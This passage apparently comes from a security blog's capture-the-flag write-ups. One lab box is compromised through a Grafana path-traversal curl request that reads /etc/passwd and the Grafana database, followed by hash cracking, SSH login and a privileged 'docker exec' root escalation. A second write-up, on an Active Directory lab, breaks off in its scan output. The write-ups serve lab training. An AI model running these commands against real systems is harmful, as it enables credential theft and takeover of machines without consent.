ttl 63 (0.063s latency). Scanned at 2025-10-03 23:39:48 +01 for 37s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 63:47:0a:81:ad:0f:78:07:46:4b:15:52:4a:4d:1e:39 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzybAIIzY81HLoecDz49RqTD3AAysgQcxH3XoCwJreIo17nJDB1gdyHYQERGigDVgG9hz9uB4AzJc87WXGi7TUM0r16XTLwtEX7MoMgmsXKJX/EoZGQsb1zyFnwQR00xsX2mDvHpaDeUh3EtsL1zAgxLSgi/uym4nLwjTHqpTmm0shwDqlpOvKBbL7IcQ3vVKkmy7o7TG7HYMHiDYF+Aw5BKnOTuVoMgGy3gaFXJqyhszV/6BD9UQALdrtAXKO3bO4D6g5gM9N78Om7kwRvEW3NDwvk5w+gA6wDFpMAigccCaP/JuEPoeqgV3r6cL4PovbbZkxQScY+9SuOGb78EjR | 256 7d:a9:ac:fa:01:e8:dd:09:90:40:48:ec:dd:f3:08:be (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGUqvSE3W1c40BBItjgG3RCCbsMNpcqRV0DbxMh3qruh0nsNdNm9QuTflzkzqj0nxPoAmjUqq0SolF0UFHqtmEc= | 256 91:33:2d:1a:81:87:1a:84:d3:b9:0b:23:23:3d:19:4b (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPDOwcGGuUmX8fQkvfAdnPuw9tMrPSs4nai8+KMFzpvf 3000/tcp open http syn-ack ttl 62 Grafana http | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Unknown favicon MD5: C308E3090C62A6425B30B4C38883196B | http-robots.txt: 1 disallowed entry |_/ | http-title: Grafana |_Requested resource was /login |_http-trane-info: Problem with XML parsing of /evox/about Device type: general purpose|router Running: Linux 5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=10/3%OT=22%CT=1%CU=41988%PV=Y%DS=2%DC=T%G=Y%TM=68E050D OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M552ST1 OS:1NW7%O6=M552ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G% OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Uptime guess: 13.337 days (since Sat Sep 20 15:35:03 2025) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=262 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 587/tcp) HOP RTT ADDRESS 1 67.17 ms 10.10.14.1 (10.10.14.1) 2 67.26 ms 10.129.179.91 (10.129.179.91) Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . </code></pre> <p>The scan revealed only two open ports:</p> <ul> <li><strong>Port 22/tcp</strong>: SSH service running OpenSSH 7.6p1</li> <li><strong>Port 3000/tcp</strong>: HTTP service running Grafana</li> </ul> <h2>Grafana Version Identification</h2> <p>Navigating to the Grafana web interface, I identified version 8.0.0 running on the target system.</p> <p><img src="images/image.png" alt="alt text" /></p> <h2>Exploiting the Path Traversal</h2> <p>This version was significant as Grafana 8.x is vulnerable to a path traversal vulnerability that allows local file read, as documented in this <a href="https://hackerone.com/reports/1427086">HackerOne report</a>.</p> <p>Using the PoC detailed in the HackerOne report, I crafted a request to read <code>/etc/passwd</code> through the path traversal:</p> <pre><code>└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin </code></pre> <p>Since I had file read access, I targeted the Grafana database file which typically contains user credentials and configuration data:</p> <pre><code>└─$ curl "http://10.129.102.172:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db" --output grafana.db % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 584k 100 584k 0 0 1262k 0 --:--:-- --:--:-- --:--:-- 1261k </code></pre> <pre><code>└─$ file grafana.db grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 423, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 423 </code></pre> <p>Using SQLite Browser, I explored the database structure and discovered the user credentials table containing password hashes for two users: the admin user and another user named boris.</p> <p><img src="images/image-2.png" alt="alt text" /></p> <h1>Password Hash Analysis and Cracking</h1> <h2>Hash Format Conversion</h2> <p>To crack these hashes, I needed to convert them to a hashcat-compatible format using the <a href="https://github.com/iamaldi/grafana2hashcat">grafana2hashcat</a> script.</p> <p>I extracted the password hashes and their associated salts into a structured format (hash,salt):</p> <pre><code>└─$ cat hashes.txt dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S </code></pre> <p>Using the grafana2hashcat conversion script, I transformed these into a hashcat-compatible format:</p> <pre><code>└─$ python3 grafana2hashcat.py hashes.txt -o hashcat_hashes.txt [+] Grafana2Hashcat [+] Reading Grafana hashes from: hashes.txt [+] Done! Read 2 hashes in total. [+] Converting hashes... [+] Converting hashes complete. [+] Writing output to 'hashcat_hashes.txt' file. [+] Now, you can run Hashcat with the following command, for example: hashcat -m 10900 hashcat_hashes.txt --wordlist wordlist.txt </code></pre> <pre><code>└─$ cat hashcat_hashes.txt sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag= sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg= </code></pre> <h2>Password Cracking</h2> <p>With the hashes in the correct format, I launched a dictionary attack using hashcat:</p> <pre><code>└─$ hashcat --username -m 10900 hashcat_hashes.txt /usr/share/wordlists/rockyou.txt Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1 </code></pre> <p>The password cracking was successful, revealing that the user <code>boris</code> had a weak password: <code>beautiful1</code>.</p> <h1>Initial Access</h1> <h2>SSH Authentication</h2> <p>With the cracked credentials, I attempted SSH authentication to the target system:</p> <pre><code>└─$ ssh boris@10.129.102.172 Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Sat Oct 4 10:43:12 UTC 2025 System load: 0.02 Processes: 206 Usage of /: 41.2% of 4.78GB Users logged in: 0 Memory usage: 21% IP address for eth0: 10.129.102.172 Swap usage: 0% IP address for docker0: 172.17.0.1 Expanded Security Maintenance for Infrastructure is not enabled. 0 updates can be applied immediately. 122 additional security updates can be applied with ESM Infra. Learn more about enabling ESM Infra service for Ubuntu 18.04 at https://ubuntu.com/18-04 Last login: Wed Jun 4 13:37:31 2025 from 10.10.14.62 boris@data:~$ whoami boris </code></pre> <p>Successfully gained initial access to the system as user <code>boris</code>. it was running Ubuntu 18.04.6 LTS with Docker installed (evidenced by the docker0 interface).</p> <h1>Post-Exploitation and Privilege Escalation</h1> <h2>Sudo Privileges Assessment</h2> <p>I tried to check what sudo privileges the current user had:</p> <pre><code>boris@data:~$ sudo -l Matching Defaults entries for boris on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User boris may run the following commands on localhost: (root) NOPASSWD: /snap/bin/docker exec * </code></pre> <p>This was a significant finding as the user <code>boris</code> could execute <code>docker exec</code> commands as root without a password. This presented a clear path to privilege escalation through Docker container manipulation.</p> <h2>Docker Container Enumeration</h2> <p>To identify running Docker containers, I used <code>systemd-cgtop</code> to display container information:</p> <pre><code>systemd-cgtop </code></pre> <p><img src="images/image-3.png" alt="alt text" /></p> <p>The output revealed a running Docker container with ID <code>e6ff5b1cbc85c</code>.</p> <h2>Docker Privilege Escalation</h2> <p>With the ability to execute <code>docker exec</code> as root and a running container identified, I crafted a command to gain root access by executing a privileged shell inside the container:</p> <pre><code>boris@data:~$ sudo docker exec --privileged -it -u root e6ff5b1cbc85c bash bash-5.1# mount overlay on / type overlay (rw,relatime,lowerdir=/var/snap/docker/common/var-lib-docker/overlay2/l/2RMRALAZ4X3ETWWAFIO4URLCKU:/var/snap/docker/common/var-lib-docker/overlay2/l/C32RR2IYKIVOXMXZVRUH2EGVMU:/var/snap/docker/common/var-lib-docker/overlay2/l/CAVZGWG6DT37UBOHM6XHIUZUD5:/var/snap/docker/common/var-lib-docker/overlay2/l/3ATFAZLXUKTZ62T23IWWGNRXD2:/var/snap/docker/common/var-lib-docker/overlay2/l/42TJD6WDSINN56AZRW55R3ICO6:/var/snap/docker/common/var-lib-docker/overlay2/l/UTHFBRCC4KFYKXNBPIO52AZ7OQ:/var/snap/docker/common/var-lib-docker/overlay2/l/ZJJZSZR34MKC5KWMDRYIC4Q62C:/var/snap/docker/common/var-lib-docker/overlay2/l/EAWF5T66G6Z67H3LBO75E3NZCC:/var/snap/docker/common/var-lib-docker/overlay2/l/LMHE5BSBLFJITZ67RL5JIEM4SC,upperdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/diff,workdir=/var/snap/docker/common/var-lib-docker/overlay2/90a0267386b75303aabacd2f202af4682d69d52a6d2e7e85ee93c3401e0938e3/work,xino=off) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755) cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd) cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids) cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event) cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) cgroup on /sys/fs/cgroup/hugetlb type cgroup (rw,nosuid,nodev,noexec,relatime,hugetlb) cgroup on /sys/fs/cgroup/rdma type cgroup (rw,nosuid,nodev,noexec,relatime,rdma) cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k) /dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime) /dev/sda1 on /etc/hostname type ext4 (rw,relatime) /dev/sda1 on /etc/hosts type ext4 (rw,relatime) </code></pre> <p>I now had root access inside the Docker container. The key insight here was that the host's filesystem was accessible from within the container, as evidenced by the <code>/dev/sda1</code> mounts.</p> <h2>Host Filesystem Access</h2> <p>To access the host filesystem and escalate to root on the host system, I mounted the host's root filesystem:</p> <pre><code>bash-5.1# mount /dev/sda1 /mnt </code></pre> <h2>Root Access Achievement</h2> <p>With the host filesystem mounted, I navigated to the root directory and successfully accessed the root flag:</p> <pre><code>bash-5.1# cd /mnt bash-5.1# ls bin dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old boot etc initrd.img lib lost+found mnt proc run snap sys usr vmlinuz bash-5.1# cd root/ bash-5.1# ls root.txt snap bash-5.1# cat root.txt 581d576d3f354b7ceca1b41760ce0596 bash-5.1# </code></pre> https://dahmanisec.me/posts/sendai/https://dahmanisec.me/posts/sendai/VulnLab Windows Active Directory machine featuring weak password policies and certificate template hijackingWed, 10 Sep 2025 00:00:00 GMT<h1>Initial access</h1> <h3>Nmap Scan</h3> <p>I began the assessment with a comprehensive Nmap scan to identify open ports and running services on the target domain controller:</p> <pre><code># Nmap 7.95 scan initiated Wed Sep 10 21:24:11 2025 as: /usr/lib/nmap/nmap --privileged -sV -vv -p- -A --min-rate 3000 -oN sendai_tcp.txt 10.129.220.222 Nmap scan report for 10.129.220.222 (10.129.220.222) Host is up, received echo-reply ttl 127 (0.048s latency). Scanned at 2025-09-10 21:24:12 +01 for 196s Not shown: 65511 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-10 20:25:46Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=dc.sendai.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl | Issuer: commonName=sendai-DC-CA/domainComponent=sendai | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-18T12:30:05 | Not valid after: 2026-08-18T12:30:05 | MD5: 879e:fbc1:988b:964a:e183:6735:66b8:9f3c | SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578 | -----BEGIN CERTIFICATE----- | MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF | ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx | FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx | MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB | BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW | A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml | IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl | dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3 | +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG | w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G | CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd | BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG | CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL | BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME | AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE | AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz | Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6 | DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw | HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB | taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD | Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 | cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0 | P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF | BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB | LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD | Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh | c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B | AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04 | eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt | JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo | syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD | KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ | R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 443/tcp open ssl/http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_ssl-date: TLS randomness does not represent time |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-title: IIS Windows Server | ssl-cert: Subject: commonName=dc.sendai.vl | Subject Alternative Name: DNS:dc.sendai.vl | Issuer: commonName=dc.sendai.vl | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-07-18T12:39:21 | Not valid after: 2024-07-18T00:00:00 | MD5: 3223:91f5:f1f7:4e16:738e:382d:053e:c7fa | SHA-1: 5282:f809:dcc9:8d53:e9a1:065a:25a1:c741:fa2c:4bc5 | -----BEGIN CERTIFICATE----- | MIIC9TCCAd2gAwIBAgIQKG7SWIn2M6tPyGomAHBoSjANBgkqhkiG9w0BAQsFADAX | MRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwHhcNMjMwNzE4MTIzOTIxWhcNMjQwNzE4 | MDAwMDAwWjAXMRUwEwYDVQQDEwxkYy5zZW5kYWkudmwwggEiMA0GCSqGSIb3DQEB | AQUAA4IBDwAwggEKAoIBAQDcBXcByvqbxTJwsmevy4Bj83CH0vCBzz3cev/4fxMG | Ill5epHVaQJSNAwCRseP2KJYUqfpUaZuJTjhvtm9V6uRdhBNy9xtMH/kGfx6KVeO | TViixsc/X5DCROAcjUhnsXJa1pmtcTItDn+f0VMYbjHsMGqM+yOeguPSXPztnMWZ | TtuwKH/EnyUIOtxo3tIuCLthRt4W36r6I9kkYmpWhPyuhVssAFuQ8fL7JyVTFWBE | cvG9YO0a4B8+t4PBnUKdMf8n0I6viITltxQpSby1Atlx1lF9OngDK/sKnxiYSzFw | 64bOIRU8EVAo8dCab5ZrHM2H2KphvaFWccccJGytsz2FAgMBAAGjPTA7MAsGA1Ud | DwQEAwIEsDATBgNVHSUEDDAKBggrBgEFBQcDATAXBgNVHREEEDAOggxkYy5zZW5k | YWkudmwwDQYJKoZIhvcNAQELBQADggEBAB9DGOlZwCpk4UGmyYa7R+D924WY6QQ7 | nHLlL/F1KKXY29Ps2WKj4EwPkWrwBmMy6T5rIyJJIIuM4SIXWeXCjOo7RcLkYoM4 | eyONMuzZINzzr83EypJbygJVt4wPlYPJpkP8Xsl4Y3RCYiRqVeDmW+sUfOh4NmBo | jS9ra3d/LtStdVbMGtWEIXGISSZN0v5ygCAQMUSrcCbvDJESHJrALGJ8TLLLn86p | qivJSaN69CybqAILhPph0/yb7iBG4LH06LXq7Ros7r5c8kaMjELOHSb+DsiDfGfM | kYMg/u4NFqroRzmHFo1Z0H/vN4Au33hmsj6pCVzGnQDMs2/mDAfLKLg= |_-----END CERTIFICATE----- 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 127 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.sendai.vl | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.sendai.vl | Issuer: commonName=sendai-DC-CA/domainComponent=sendai | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-08-18T12:30:05 | Not valid after: 2026-08-18T12:30:05 | MD5: 879e:fbc1:988b:964a:e183:6735:66b8:9f3c | SHA-1: 099e:0fbb:349b:7fb1:35de:6acb:77a4:c3e5:d0e1:4578 | -----BEGIN CERTIFICATE----- | MIIGFTCCBP2gAwIBAgITVwAAAATYPsFplvexvwAAAAAABDANBgkqhkiG9w0BAQsF | ADBDMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZzZW5kYWkx | FTATBgNVBAMTDHNlbmRhaS1EQy1DQTAeFw0yNTA4MTgxMjMwMDVaFw0yNjA4MTgx | MjMwMDVaMBcxFTATBgNVBAMTDGRjLnNlbmRhaS52bDCCASIwDQYJKoZIhvcNAQEB | BQADggEPADCCAQoCggEBAM/zoBh9/Vf9Dg2a7ZByPbs7K7m34f14/NBkNL+qvWwW | A6uVwcXtdqZTm2m/ihyTcq1HCADBVR57BcB0S6nkIIqoTis/ATH+E4zj1Mpek3ml | IxXv3yer14cVtP5cCmlm92rFMLbdAmnH3VyEGoE0pg64OtwPbAuYHTpnuaRQvdfl | dWILGe0qsBahDpOhgxnpxLZFuacK3mCy45mz8T1iwYpMLo9WE7z2o/THjP58dCJ3 | +a9HoEcqz5mdon4OK/ZDWokCC5m2JVXwdglm04SeU5pTLqIuvkvrFPF6xByTo6OG | w0mD55O3dpqu2AXPHpxmSszZUHZedZ7oZYHah9X/vlkCAwEAAaOCAywwggMoMC8G | CSsGAQQBgjcUAgQiHiAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcjAd | BgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDgYDVR0PAQH/BAQDAgWgMHgG | CSqGSIb3DQEJDwRrMGkwDgYIKoZIhvcNAwICAgCAMA4GCCqGSIb3DQMEAgIAgDAL | BglghkgBZQMEASowCwYJYIZIAWUDBAEtMAsGCWCGSAFlAwQBAjALBglghkgBZQME | AQUwBwYFKw4DAgcwCgYIKoZIhvcNAwcwTQYJKwYBBAGCNxkCBEAwPqA8BgorBgEE | AYI3GQIBoC4ELFMtMS01LTIxLTMwODU4NzI3NDItNTcwOTcyODIzLTczNjc2NDEz | Mi0xMDAwMDgGA1UdEQQxMC+gHwYJKwYBBAGCNxkBoBIEEB6FyoYBEbdOhIdd+rz6 | DSGCDGRjLnNlbmRhaS52bDAdBgNVHQ4EFgQUvcswuDmO6a7M1hAuQYYIq7/AN/Qw | HwYDVR0jBBgwFoAUSemJy2wGmS2/ToDZ6jjJnKaooz4wgcMGA1UdHwSBuzCBuDCB | taCBsqCBr4aBrGxkYXA6Ly8vQ049c2VuZGFpLURDLUNBLENOPWRjLENOPUNEUCxD | Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 | cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0 | P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgbwGCCsGAQUF | BwEBBIGvMIGsMIGpBggrBgEFBQcwAoaBnGxkYXA6Ly8vQ049c2VuZGFpLURDLUNB | LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD | Tj1Db25maWd1cmF0aW9uLERDPXNlbmRhaSxEQz12bD9jQUNlcnRpZmljYXRlP2Jh | c2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0B | AQsFAAOCAQEAhxfDqVgK+WpagVPhh89RuqlcLnfnYgeBTRQTEwrzI7OZ4SF1//04 | eSwGSqxNPoShh7oMGO2FE/ad5LxFu1KdS+zTWyXCw4B9HgXKOdM1wmxpJujwFyXt | JGZHrnQzaa0ePj9i/tpjk/D0Q0gurbAkjTlEw5FAitraZuYOT7SVf8bL0u/6RIBo | syB2pUE3O//Dj+O7t2xOj9swvokQ6Dnlq0VN313aIVrPrgFnUdfVpd3B2yoXXziD | KZ2i9fc55HIMZ5VM/aN5M7UT1KqdD7BoEG8b3bq0gi0iCCsxjQyRMsw5Dd3UcCuQ | R4i0WBM2m9vQoSf/jw1s4S1uQ69/cK9iwQ== |_-----END CERTIFICATE----- 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc.sendai.vl | Subject Alternative Name: othername: 